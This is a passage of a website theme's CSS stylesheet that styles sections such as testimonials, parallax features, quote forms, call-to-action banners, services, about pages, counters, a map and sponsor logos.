center; justify-content: center; line-height: 1; margin-top: 45px; } #testimonials-six-pagination .swiper-pagination-bullet { width: 10px; height: 10px; background-color: var(--thm-text); border-radius: 50%; display: block; line-height: 1; opacity: 0.3; margin: 0; transition: all 500ms ease; } #testimonials-six-pagination .swiper-pagination-bullet+.swiper-pagination-bullet { margin-left: 10px; } #testimonials-six-pagination .swiper-pagination-bullet-active { background-color: var(--thm-base); opacity: 1; } /*** ==================================================================== 31. Parallax Section ==================================================================== ***/ .features-section { position: relative; padding: 120px 0px; background: #1c1e22; color: #ffffff; z-index: 1; } .features-section .jarallax-img, .features-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: top center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; background-attachment: fixed; } .features-section .content-box { position: relative; max-width: 700px; } .features-section .content-box h2 { position: relative; display: block; font-size: 70px; line-height: 1em; text-transform: uppercase; color: #ffffff; letter-spacing: 0.01em; font-weight: 400; margin-bottom: 45px; } .features-section .content-box h2 span { color: var(--thm-base); padding-left: 3px; } .features-section .feature-block { position: relative; float: left; margin-bottom: 45px; } .features-section .feature-block .inner { position: relative; display: block; padding-right: 80px; margin-right: 80px; } .features-section .feature-block .inner:before { content: ""; position: absolute; right: 0; top: 20px; bottom: 20px; border-right: 1px solid rgba(255, 255, 255, 0.15); } .features-section .feature-block:last-child .inner { padding-right: 0; margin-right: 0; } .features-section .feature-block:last-child .inner:before { display: none; } .features-section .feature-block .icon-box { position: relative; display: block; line-height: 1em; color: #ffffff; font-size: 60px; margin: 0 0 20px; } .features-section .feature-block h6 { font-size: 24px; line-height: 1.25em; margin: 0 0; letter-spacing: 0.03em; text-transform: uppercase; font-weight: 400; color: #fff; } /* feature six */ .feature-six { background-color: #f4f5f8; } .feature-six__image { position: relative; margin-bottom: 60px; } @media (min-width: 1200px) { .feature-six__image { margin-bottom: 0; } } .feature-six__image img { width: 100%; filter: grayscale(100%); } @media (min-width: 1200px) { .feature-six__image img { max-width: none !important; width: auto; float: right; } } .feature-six__image__caption { position: absolute; bottom: 0; right: 0; background-color: var(--thm-base); padding: 40px; white-space: pre-line; text-transform: uppercase; line-height: 1; color: var(--thm-black); font-weight: 500; font-size: 22px; font-family: var(--thm-font); } @media (min-width: 992px) { .feature-six__image__caption { font-size: 30px; padding: 43px 60px; } } @media (min-width: 1200px) { .feature-six__content { padding-left: 60px; } } @media (min-width: 1440px) { .feature-six__content { padding-left: 115px; } } .feature-six__content .sec-title { margin-bottom: 10px; } @media (min-width: 992px) { .feature-six__content .sec-title { max-width: 550px; } } @media (min-width: 1200px) { .feature-six__content .sec-title { margin-bottom: 30px; } } .feature-six__content__text { font-size: 16px; line-height: 34px; color: var(--thm-text); font-family: var(--thm-b-font); margin-bottom: 20px; } @media (min-width: 992px) { .feature-six__content__text { max-width: 550px; } } @media (min-width: 1200px) { .feature-six__content__text { margin-bottom: 40px; } } .feature-six__list li { position: relative; padding-left: 30px; font-size: 16px; color: var(--thm-black); font-family: var(--thm-b-font); line-height: 1.6em; margin-bottom: 13px; } .feature-six__list li:last-child { margin-bottom: 0; } .feature-six__list li>i { position: absolute; left: 0; top: 50%; transform: translateY(-50%); color: var(--thm-base); font-size: 20px; } /* feature seven */ .feature-seven { padding-top: 90px; } @media (min-width: 992px) { .feature-seven { padding-top: 120px; } } .feature-seven hr { border-width: 1px; border-color: #e9ebee; margin: 0; margin-left: auto; margin-right: auto; max-width: 1170px; margin-top: 60px; } @media (min-width: 992px) { .feature-seven hr { margin-top: 90px; } } .feature-seven-card { border-radius: 8px; transition: all 500ms ease; margin-bottom: 30px; } .feature-seven-card:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .feature-seven-card__inner { overflow: hidden; border-radius: 8px; background-color: #fff; } .feature-seven-card__image img { width: 100%; filter: grayscale(100%); transition: 500ms ease; } .feature-seven-card:hover .feature-seven-card__image img { filter: grayscale(0); } .feature-seven-card__content { border-style: solid; border-width: 1px; border-color: rgb(233, 235, 238); padding: 30px; padding-bottom: 20px; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; } @media (min-width: 992px) { .feature-seven-card__content { padding: 50px; padding-bottom: 40px; } } .feature-seven-card__title { color: var(--thm-black); text-transform: uppercase; margin: 0; font-size: 34px; line-height: 1; } .feature-seven-card__title a { color: inherit; transition: all 500ms ease; } .feature-seven-card__title a:hover { color: var(--thm-base); } .feature-seven-card__text { margin: 0; font-size: 16px; font-family: var(--thm-b-font); color: var(--thm-text); line-height: 34px; margin-top: 10px; } @media (min-width: 992px) { .feature-seven-card__text { margin-top: 25px; } } /* feature eight */ .feature-eight { padding-top: 90px; padding-bottom: 90px; } @media (min-width: 992px) { .feature-eight { padding-top: 120px; padding-bottom: 120px; } } .feature-eight__image img { max-width: 100%; border-radius: 8px; filter: grayscale(100%); background-color: #1c1e22; display: block; margin-left: auto; margin-right: auto; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } @media (min-width: 992px) { .feature-eight__image img { border-radius: 8px; max-width: none; } } .feature-eight__content { background-color: #fff; padding: 50px; border-radius: 8px; border-top-left-radius: 0; border-top-right-radius: 0; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.07); position: relative; z-index: 10; } @media (min-width: 992px) { .feature-eight__content { margin-top: 60px; border-radius: 8px; } } @media (min-width: 1200px) { .feature-eight__content { padding: 100px; } } .feature-eight__text { margin-bottom: 35px; } .feature-eight .progress-box { position: relative; display: block; width: 100%; font-family: var(--thm-font); } .feature-eight .progress-box .bar-title { position: relative; font-size: 20px; line-height: 1.1em; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 10px; color: var(--thm-black); } .feature-eight .progress-box .bar { position: relative; width: 100%; height: 7px; background: #e9ebee; border-radius: 4px; } .feature-eight .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); border-radius: 4px; transition: all 1500ms ease; } .feature-eight .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; background: var(--thm-black); color: #ffffff; line-height: 22px; font-size: 14px; font-weight: 500; border-radius: 5px; text-align: center; opacity: 0; transition: all 500ms ease; } .feature-eight .progress-box .counted .count-box { opacity: 1; } .feature-eight .progress-box .count-box:after { content: ""; position: absolute; left: 0; top: 100%; margin-top: -5px; border: 5px solid transparent; border-top: 5px solid var(--thm-black); border-left: 5px solid var(--thm-black); } .feature-eight__content .sec-title { margin-bottom: 30px; } @media (min-width: 992px) { .feature-eight__content .sec-title { margin-bottom: 35px; } } /*** ==================================================================== 32. We DO Section ==================================================================== ***/ .get-quote-section { position: relative; padding: 120px 0px 90px; border-bottom: 1px solid #e9ebee; } .get-quote-section .left-col { position: relative; margin-bottom: 30px; } .get-quote-section .left-col .inner { position: relative; display: block; padding-right: 70px; } .get-quote-section .featured-block { position: relative; display: block; padding-left: 320px; min-height: 186px; margin-bottom: 55px; } .get-quote-section .featured-block .image { position: absolute; left: 0; top: 0; width: 270px; } .get-quote-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .get-quote-section .featured-block h4 { font-size: 40px; font-weight: 400; text-transform: uppercase; margin-bottom: 25px; } .get-quote-section .featured-block .text { position: relative; display: block; margin-bottom: 32px; } .get-quote-section .counter { position: relative; display: block; padding-top: 55px; border-top: 1px solid #e9ebee; } .get-quote-section .counter .counter-text { position: relative; float: left; } .get-quote-section .counter .counter-image { position: relative; float: right; padding-left: 55px; } .get-quote-section .counter .counter-image:before { content: ""; position: absolute; left: 0; top: 0; width: 14px; height: 100%; background: var(--thm-base); border-radius: 7px; } .get-quote-section .counter .counter-image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .get-quote-section .counter .count-box { position: relative; display: block; font-size: 60px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; line-height: 1em; letter-spacing: 0.02em; font-family: var(--thm-font); } .get-quote-section .counter .counter-title { position: relative; display: block; font-size: 20px; text-transform: uppercase; color: var(--thm-text); font-weight: 400; line-height: 1.25em; letter-spacing: 0.05em; font-family: var(--thm-font); } .get-quote-section .right-col { position: relative; margin-bottom: 30px; } .get-quote-section .right-col .inner { position: relative; display: block; } .get-quote-section .form-box { position: relative; display: block; text-align: center; background: #ffffff; padding: 50px 45px 40px; margin-top: -180px; border-radius: 7px; border: 1px solid rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 70px 0px rgba(0, 0, 0, 0.1); z-index: 5; } .get-quote-section .form-box h4 { color: var(--thm-black); font-size: 40px; font-weight: 400; text-transform: uppercase; margin-bottom: 25px; } .get-quote-section .form-box h4 span { padding-left: 3px; color: var(--thm-base); } .get-quote-section .default-form .form-group { margin-bottom: 10px; } .get-quote-section .default-form .theme-btn { display: block; width: 100%; } /*** ==================================================================== 33. Call Section ==================================================================== ***/ .fluid-section { position: relative; padding: 0; } .fluid-section .row { margin: 0; } .fluid-section .column { padding: 0; } .fluid-section .column .inner { position: relative; display: block; text-align: center; min-height: 100%; padding: 120px 20px; background: #1c1e22; } .fluid-section .column:nth-child(2) .inner { background: var(--thm-base); } .fluid-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.1; } .fluid-section .content-box { position: relative; max-width: 620px; margin: 0 auto; } .fluid-section h3 { position: relative; display: block; font-size: 60px; line-height: 1.1em; text-transform: uppercase; color: #ffffff; font-weight: 400; margin: 0px 0px; z-index: 3; } .fluid-section .column:nth-child(2) h3 { color: var(--thm-black); } .fluid-section .link-box { position: relative; padding-top: 25px; z-index: 3; } /*** ==================================================================== 34. Call Section ==================================================================== ***/ .call-to-section-two { position: relative; padding: 120px 0px 90px; background-color: #2a2c30; background-image: url(../images/icons/cta-bg-1-1.png); color: #ffffff; z-index: 1; } .call-to-section-two.alternate { background: var(--thm-base); background-image: url(../images/background/cta-2-bg-1-1.png); } .call-to-section-two .inner { position: relative; display: block; } .call-to-section-two h2 { position: relative; float: left; display: block; font-size: 70px; line-height: 0.85em; text-transform: uppercase; color: #ffffff; font-weight: 400; margin: 0px 0px 25px; z-index: 1; } .call-to-section-two.alternate h2 { color: var(--thm-black); } .call-to-section-two .link-box { position: relative; float: right; padding-top: 25px; z-index: 1; } /* call to section three */ .call-to-section-three { background-color: var(--thm-base); padding-top: 119px; padding-bottom: 119px; } .call-to-section-three .jarallax-img { mix-blend-mode: luminosity; opacity: 0.1; } .call-to-section-three .auto-container { display: flex; align-items: center; justify-content: space-between; } .call-to-section-three .auto-container h3 { margin: 0; font-size: 50px; font-weight: 800; color: #fff; } .call-to-section-three .auto-container .btn-style-three { min-width: 220px; justify-content: center; align-items: center; text-align: center; background-color: #fff; color: var(--thm-black); } .call-to-section-three .auto-container .btn-style-three:hover { background-color: var(--thm-black); color: #fff; } /*** ==================================================================== 35. Services Section ==================================================================== ***/ .services-section-three { position: relative; padding: 0px 0px 90px; background: #ffffff; } .services-section-three.padd-top { padding-top: 120px; } .services-section-three .services { position: relative; } .services-section-three__one-page { position: relative; padding: 120px 0px 90px; background-color: var(--thm-black); background-image: url(../images/background/contact-bg-1-1.png); background-size: cover; color: #999b9f; } .services-section-three__one-page .sec-title h2 { color: #fff; } .services-section-three__one-page .service-block-two .inner-box { overflow: hidden; background-color: #1c1e22; } .services-section-three__one-page .service-block-two .inner-box h5 a { color: #fff; } .services-section-three__one-page .service-block-two .inner-box .bottom-curve, .services-section-three__one-page .service-block-two:hover .inner-box h5 a, .services-section-three__one-page .service-block-two:hover .inner-box .icon-box, .services-section-three__one-page .service-block-two:hover .text { color: var(--thm-black); } .services-section-three__one-page .service-block-two .link-box { opacity: 0; transition: 500ms; } .services-section-three__one-page .service-block-two:hover .link-box { opacity: 1; } .services-section-three__one-page .service-block-two .inner-box:hover::before { background-color: var(--thm-base); } /*** ==================================================================== 36. Discover Section ==================================================================== ***/ .discover-section { position: relative; padding: 120px 0px 90px; background: #ffffff; } .discover-block { position: relative; margin-bottom: 30px; } .discover-block .inner-box { position: relative; display: block; padding-left: 30px; } .discover-block .image-box { position: relative; display: block; overflow: hidden; } .discover-block .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 0.3s ease; border-radius: 7px; } .discover-block .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .discover-block .cap-box { position: absolute; left: 0; bottom: 0; display: block; width: 100%; max-width: 330px; } .discover-block .cap-inner { position: relative; display: block; padding: 40px 80px 36px 40px; background: var(--thm-base); border-radius: 7px; } .discover-block .cap-inner h5 { font-size: 30px; text-transform: uppercase; font-weight: 400; color: var(--thm-black); line-height: 1em; margin: 0; } .discover-block .cap-inner .more-link { position: absolute; right: 20px; bottom: 20px; width: 50px; height: 50px; } .discover-block .cap-inner .more-link a { position: relative; display: block; width: 50px; height: 50px; font-size: 16px; background: var(--thm-black); color: #ffffff; line-height: 50px; border-radius: 50%; text-align: center; } .discover-block .cap-inner .more-link a:hover { opacity: 0.5; } /*** ==================================================================== 37. Parallax Section ==================================================================== ***/ .features-section-two { position: relative; padding: 0px 0px; background: #ffffff; } .features-section-two .content-container { position: relative; display: block; padding: 120px 0px 90px; } .features-section-two .content-container:before { content: ""; position: absolute; right: 0; top: 0; bottom: 0; left: -2000px; background: #ffffff url(../images/background/pattern-2.png) right top repeat; border-radius: 0px 7px 7px 0px; } .features-section-two .left-col { position: relative; margin-bottom: 30px; } .features-section-two .left-col .inner { position: relative; display: block; padding-right: 40px; } .features-section-two .sec-title { margin-bottom: 40px; } .features-section-two .features { position: relative; } .features-section-two .feature { position: relative; display: block; padding: 0px 0px 40px; margin-bottom: 47px; padding-left: 90px; min-height: 100px; border-bottom: 1px solid #e9ebee; } .features-section-two .feature:last-child { margin-bottom: 0; padding-bottom: 0; border-bottom: none; } .features-section-two .feature .count { position: absolute; left: 0; top: 0px; width: 60px; height: 60px; text-align: center; background: var(--thm-base); padding: 10px; line-height: 40px; font-size: 30px; letter-spacing: 1px; color: var(--thm-black); text-transform: uppercase; border-radius: 50%; display: flex; justify-content: center; align-items: center; line-height: 1em; transition: 0.5s; font-family: var(--thm-font); } .features-section-two .feature:hover .count { background-color: var(--thm-black); color: #fff; } .features-section-two .feature .count span { line-height: 1em; position: relative; top: 2px; } .features-section-two .feature h5 { font-weight: 400; font-size: 24px; margin: 0; line-height: 1.2em; text-transform: uppercase; margin-bottom: 15px; } .features-section-two .feature .sub-text { display: block; position: relative; top: 0px; display: block; } .features-section-two .right-col { position: relative; margin-bottom: 30px; } .features-section-two .right-col .inner { position: relative; display: block; } .features-section-two .right-col .image-box { position: relative; display: block; } .features-section-two .right-col .image-box img { position: relative; display: block; width: auto; max-width: none; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 0.3s ease; border-radius: 7px; } .features-section-two .right-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .features-section-two .right-col .cap-box { position: absolute; left: 0; bottom: 0; display: block; width: 100%; max-width: 350px; } .features-section-two .right-col .cap-inner { position: relative; display: block; padding: 40px 60px; background: var(--thm-base); border-radius: 7px; } .features-section-two .right-col .cap-inner h5 { font-size: 30px; text-transform: uppercase; font-weight: 400; color: var(--thm-black); line-height: 1em; margin: 0; } /*** ==================================================================== 38. We Work Section ==================================================================== ***/ .we-work-section { position: relative; padding: 120px 0 80px; } .work-tabs { position: relative; } .work-tabs .tab-buttons { position: relative; display: block; background: #f4f5f8; border-radius: 7px; text-align: center; margin-bottom: 50px; overflow: hidden; } .work-tabs .tab-buttons .tab-btn { position: relative; float: left; width: 33.333%; line-height: 40px; font-size: 30px; font-weight: 400; letter-spacing: 0.01em; color: var(--thm-black); padding: 30px 15px; text-transform: uppercase; margin: 0; font-family: var(--thm-font); transition: all 0.3s ease; } .work-tabs .tab-buttons .tab-btn span { position: relative; display: block; z-index: 1; } .work-tabs .tab-buttons .tab-btn:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 0px; background: var(--thm-black); transition: all 0.3s ease; } .work-tabs .tab-buttons .tab-btn.active-btn:before { height: 100%; } .work-tabs .tab-buttons .tab-btn.active-btn { color: #ffffff; } .work-tabs .tabs-content { position: relative; } .work-tabs .image-col { position: relative; margin-bottom: 30px; } .work-tabs .image-col .inner { position: relative; display: block; opacity: 0; visibility: hidden; transform: translateY(50px); transition: all 0.5s ease; } .work-tabs .tabs-content .image { position: relative; display: block; border-radius: 7px; } .work-tabs .tabs-content .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .work-tabs .text-col { position: relative; margin-bottom: 30px; } .work-tabs .text-col .inner { position: relative; display: block; padding-left: 30px; opacity: 0; visibility: hidden; transform: translateY(50px); transition: all 0.5s ease; } .work-tabs .active-tab .text-col .inner, .work-tabs .active-tab .image-col .inner { opacity: 1; visibility: visible; transform: translateY(0px); } .work-tabs .tabs-content .text { position: relative; } .work-tabs .tabs-content .text p { position: relative; margin-bottom: 30px; } .work-tabs .tabs-content .text ul { position: relative; } .work-tabs .tabs-content .text ul li { position: relative; line-height: 2.125em; margin-bottom: 8px; padding-left: 30px; font-weight: 400; } .work-tabs .tabs-content .text ul li:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 39. Testimonials Section ==================================================================== ***/ .testimonials-section-two { position: relative; padding: 120px 0px; background: #1c1e22; color: #ffffff; z-index: 1; } .testimonials-section-two .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .testimonials-section-two .carousel-box { position: relative; padding-right: 200px; } .testi-block-two { position: relative; } .testi-block-two .inner { position: relative; display: block; } .testi-block-two .icon { position: relative; top: 35px; display: block; font-weight: 400; font-size: 200px; line-height: 0.7em; color: var(--thm-base); margin-bottom: 0px; } .testi-block-two .info { position: relative; margin-top: 50px; } .testi-block-two .info .name { display: block; font-size: 24px; line-height: 1.2em; color: var(--thm-base); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; font-family: var(--thm-font); } .testi-block-two .text { position: relative; display: block; font-size: 42px; line-height: 1.381em; font-weight: 400; letter-spacing: 0em; color: #ffffff; font-family: var(--thm-b-font); padding: 0px 0px; } .testimonials-section-two .owl-theme .owl-dots { display: none; } .testimonials-section-two .owl-theme .owl-nav { position: absolute; right: -170px; top: 50%; margin-top: -50px; height: 110px; text-align: right; } .testimonials-section-two .owl-theme .owl-nav .owl-next, .testimonials-section-two .owl-theme .owl-nav .owl-prev { position: absolute; top: 0; right: 0; width: 50px; height: 50px; background: #ffffff !important; color: var(--thm-black); padding: 0; margin: 0; line-height: 50px; text-align: center; opacity: 0.2; border-radius: 50%; transition: all 500ms ease; } .testimonials-section-two .owl-theme .owl-nav .owl-next { top: auto; bottom: 0; } .testimonials-section-two .owl-theme .owl-nav .owl-next span, .testimonials-section-two .owl-theme .owl-nav .owl-prev span { vertical-align: middle; } .testimonials-section-two .owl-theme .owl-nav .owl-next:hover, .testimonials-section-two .owl-theme .owl-nav .owl-prev:hover { opacity: 1; } /*** ==================================================================== 40. We DO Section ==================================================================== ***/ .about-section-two { position: relative; padding: 120px 0px 90px; } .about-section-two .left-col { position: relative; } .about-section-two .left-col .inner { position: relative; display: block; padding-right: 50px; } .about-section-two .counter { position: relative; display: block; } .about-section-two .right-col { position: relative; margin-bottom: 30px; } .about-section-two .right-col .inner { position: relative; display: block; padding-left: 30px; } .about-section-two .image-box { position: relative; display: block; margin-top: -240px; z-index: 5; } .about-section-two .image-box .image { position: relative; display: block; } .about-section-two .image-box .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .about-section-two .image-box .since { position: absolute; right: 50px; bottom: 50px; } .about-section-two .image-box .since:before { content: ""; position: absolute; left: -42px; top: 4px; bottom: 4px; border-left: 2px solid var(--thm-base); } .about-section-two .image-box .since .txt { position: relative; display: block; padding: 21px 5px; width: 90px; height: 90px; line-height: 24px; text-align: center; background: #ffffff; text-transform: uppercase; color: var(--thm-black); border-radius: 50%; } .counter-block { position: relative; margin-bottom: 30px; } .counter-block .inner-box { position: relative; padding-left: 160px; min-height: 140px; padding-top: 42px; } .counter-block .graph-outer { position: absolute; left: 0; top: 0; width: 140px; height: 140px; display: block; text-align: center; } .counter-block .graph-outer:before { content: ""; position: absolute; left: 0px; top: 0px; right: 0px; bottom: 0px; border: 3px solid #e9ebee; border-radius: 50%; } .counter-block .graph-outer canvas { position: relative; } .counter-block .graph-outer .count-box { position: absolute; left: 0; top: 50%; width: 100%; font-size: 30px; color: var(--thm-black); font-weight: 400; line-height: 60px; text-transform: uppercase; letter-spacing: 0.05em; margin-top: -30px; font-family: var(--thm-font); } .counter-block .graph-outer .count-box .sign { font-size: 20px; } .counter-block input { opacity: 0; visibility: hidden; position: absolute; left: 0; top: 0; } .counter-block h4 { position: relative; line-height: 1.1em; font-size: 24px; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; margin: 0 0; } /* about section three */ .about-section-three { padding-top: 120px; padding-bottom: 120px; } .about-section-three__image { position: relative; display: inline-block; } .about-section-three__image img { position: relative; } .about-section-three__image::before { content: ""; position: absolute; top: 30px; bottom: 30px; right: 0; left: -30px; background-color: var(--thm-base); } .about-section-three__content .sec-title-two { margin-bottom: 35px; } .about-section-three__content .sec-title-two h2 { margin-top: 10px; } .about-section-three__summery p { margin: 0; font-size: 18px; line-height: 2; font-weight: 500; color: #697280; margin-bottom: 30px; } .about-section-three__list { margin-bottom: 50px; } .about-section-three__list li { position: relative; padding-left: 30px; color: #697280; font-size: 18px; font-weight: 500; line-height: 2; } .about-section-three__list li>i { position: absolute; top: 50%; left: 0; transform: translateY(-50%); color: var(--thm-base); font-size: 16px; } .about-section-three__content .progress-box { position: relative; display: block; width: 100%; margin-bottom: 50px; } .about-section-three__content .progress-box .bar-title { position: relative; font-size: 18px; line-height: 1.1em; margin-bottom: 10px; font-weight: 600; color: var(--thm-black); } .about-section-three__content .progress-box .bar { position: relative; width: 100%; height: 7px; background: #eff1f4; border-radius: 4px; } .about-section-three__content .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); transition: all 1500ms ease; } .about-section-three__content .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; color: #697280; line-height: 22px; font-size: 14px; font-weight: 600; text-align: center; opacity: 0; transition: all 500ms ease; } .about-section-three__content .progress-box .counted .count-box { opacity: 1; } .about-section-three__name { position: relative; padding-top: 15px; } .about-section-three__name>img { position: absolute; top: 0; left: 0; } .about-section-three__name h3 { margin: 0; font-size: 20px; color: var(--thm-black); font-weight: bold; line-height: 1; margin-bottom: 5px; position: relative; } .about-section-three__name p { margin: 0; text-transform: uppercase; letter-spacing: 0.1; font-weight: 600; font-size: 14px; color: var(--thm-base); position: relative; } /* about me */ .about-me-one { padding-top: 90px; padding-bottom: 90px; } @media (min-width: 1200px) { .about-me-one { padding-top: 120px; padding-bottom: 120px; } } .about-me-one__image img { border-radius: 8px; filter: grayscale(100%); max-width: 100%; margin-bottom: 50px; } @media (min-width: 1200px) { .about-me-one__image img { margin-bottom: 0; } } @media (min-width: 1200px) { .about-me-one__content { padding-left: 30px; } } @media (min-width: 1440px) { .about-me-one__content { padding-left: 70px; } } .about-me-one__content .sec-title { margin-bottom: 0; } .about-me-one__social { display: flex; align-items: center; margin-top: 20px; margin-bottom: 20px; } @media (min-width: 1200px) { .about-me-one__social { margin-top: 25px; margin-bottom: 40px; } } .about-me-one__social a { display: flex; align-items: center; justify-content: center; text-align: center; width: 44px; height: 44px; background-color: #f4f5f8; color: var(--thm-black); font-size: 16px; border-radius: 50%; transition: all 500ms ease; } .about-me-one__social a+a { margin-left: 10px; } .about-me-one__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .about-me-one__certificate-row { margin-left: -10px; margin-right: -10px; margin-top: 30px; max-width: 500px; } @media (min-width: 1200px) { .about-me-one__certificate-row { margin-top: 70px; } } .about-me-one__certificate-row [class*="col-"] { padding-left: 10px; padding-right: 10px; } .about-me-one__certificate-row img { max-width: 100%; border-radius: 8px; mix-blend-mode: luminosity; margin-bottom: 20px; } @media (min-width: 1200px) { .about-me-one__certificate-row img { margin-bottom: 0; } } .about-me-one__qoute { color: var(--thm-base); font-size: 30px; line-height: 34px; margin: 0; font-weight: 400; } @media (min-width: 1200px) { .about-me-one__qoute { margin-top: 65px; } } .about-me-one__text { margin: 0; font-size: 16px; line-height: 34px; margin-bottom: 30px; } @media (min-width: 1200px) { .about-me-one__text { margin-bottom: 35px; } } /* about me progress */ .about-me-counter { background-color: #f4f5f8; padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .about-me-counter { padding-top: 120px; padding-bottom: 90px; } } @media (min-width: 1200px) { [class*="col-"]:nth-child(3) .counter-block { margin-left: 20px; } } .about-me-counter .counter-block h4 { font-size: 26px; } .about-me-counter .sec-title { text-align: center; margin-bottom: 40px; } @media (min-width: 768px) { .about-me-counter .sec-title { margin-bottom: auto; width: 100%; text-align: left; margin-top: auto; } } /*** ==================================================================== 41. Get Quote ==================================================================== ***/ .get-quote-two { position: relative; padding: 120px 0px 210px; background-color: var(--thm-black); background-image: url(../images/background/contact-bg-1-1.png); background-size: cover; color: #999b9f; } .get-quote-two__one-page { padding-bottom: 120px; } @media (max-width: 991px) { .get-quote-two__one-page { padding-bottom: 70px !important; } } .get-quote-two .sec-title { margin-bottom: 35px; } .get-quote-two .sec-title h2 { color: #ffffff; } .get-quote-two .left-col { position: relative; margin-bottom: 30px; } .get-quote-two .left-col .inner { position: relative; display: block; max-width: 480px; } .get-quote-two .left-col .text { position: relative; display: block; color: #999b9f; margin-bottom: 35px; } .get-quote-two .info { position: relative; display: block; } .get-quote-two .form-box form .form-group input, .get-quote-two .form-box form .form-group select, .get-quote-two .form-box form .form-group textarea, .get-quote-two .form-group .ui-selectmenu-button.ui-button { background-color: #ffffff; border-color: #ffffff; } .get-quote-two .info ul li { position: relative; display: block; min-height: 60px; padding-left: 85px; line-height: 28px; padding-top: 5px; margin-bottom: 20px; } .get-quote-two .info ul li strong { display: block; color: #ffffff; letter-spacing: 0.1em; font-size: 16px; font-weight: 400; text-transform: uppercase; font-family: var(--thm-font); margin-top: -4px; } .get-quote-two .info ul li .icon { position: absolute; left: 0; top: 0; line-height: 30px; padding: 15px 10px; width: 60px; height: 60px; text-align: center; background-color: var(--thm-base); border-radius: 50%; font-size: 16px; color: var(--thm-black); } .get-quote-two .info ul li:last-child { margin: 0; } .get-quote-two .info ul li a { position: relative; color: #999b9f; line-height: 28px; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .get-quote-two .info ul li a:hover { color: #ffffff; text-decoration: underline; -webkit-text-decoration-color: var(--thm-base); text-decoration-color: var(--thm-base); } .get-quote-two .right-col { position: relative; margin-bottom: 10px; } .get-quote-two .right-col .inner { position: relative; display: block; } .get-quote-two .form-box { position: relative; display: block; } .get-quote-two .form-box form .row { margin: 0 -10px; } .get-quote-two .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } /*** ==================================================================== 42. Map Section ==================================================================== ***/ .map-section { position: relative; padding: 0px 0px 120px; } .map-section .map-container { position: relative; display: block; width: 100%; margin-top: -120px; border-radius: 7px; overflow: hidden; z-index: 3; } .map-section__one-page { padding-bottom: 0; } .map-section__one-page .map-container { margin-top: 0; } .map-canvas, .map-iframe { position: relative; display: block; width: 100%; height: 450px; } .map-section__one-page .map-iframe { height: 575px; } .map-data { font-family: var(--thm-font); text-align: center; font-size: 20px; color: #222222; font-weight: 300; letter-spacing: 0.05em; line-height: 1.7em; } .map-data h6 { font-family: var(--thm-font); font-size: 24px; font-weight: 400; text-align: center; margin-bottom: 10px; line-height: 1em; color: #222222; text-transform: uppercase; letter-spacing: 0.05em; } /*** ==================================================================== 43. Sponsors Section ==================================================================== ***/ .sponsors-section-two { position: relative; padding: 120px 0px 90px; background: #ffffff; border-top: 1px solid #e9ebee; } .sponsors-section-two .title-col { position: relative; margin-bottom: 30px; } .sponsors-section-two .sec-title { margin-bottom: 0; } .sponsors-section-two .logo-col { position: relative; } .sponsors-section-two .logo-block { position: relative; margin-bottom: 30px; } .sponsors-section-two .image-box img { max-width: 100%; width: auto; display: inline-block; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; opacity: 0.2; } .sponsors-section-two .image-box img:hover { opacity: 1; } /* sponsors section three */ .sponsors-section-three { padding-top: 120px; padding-bottom: 120px; } 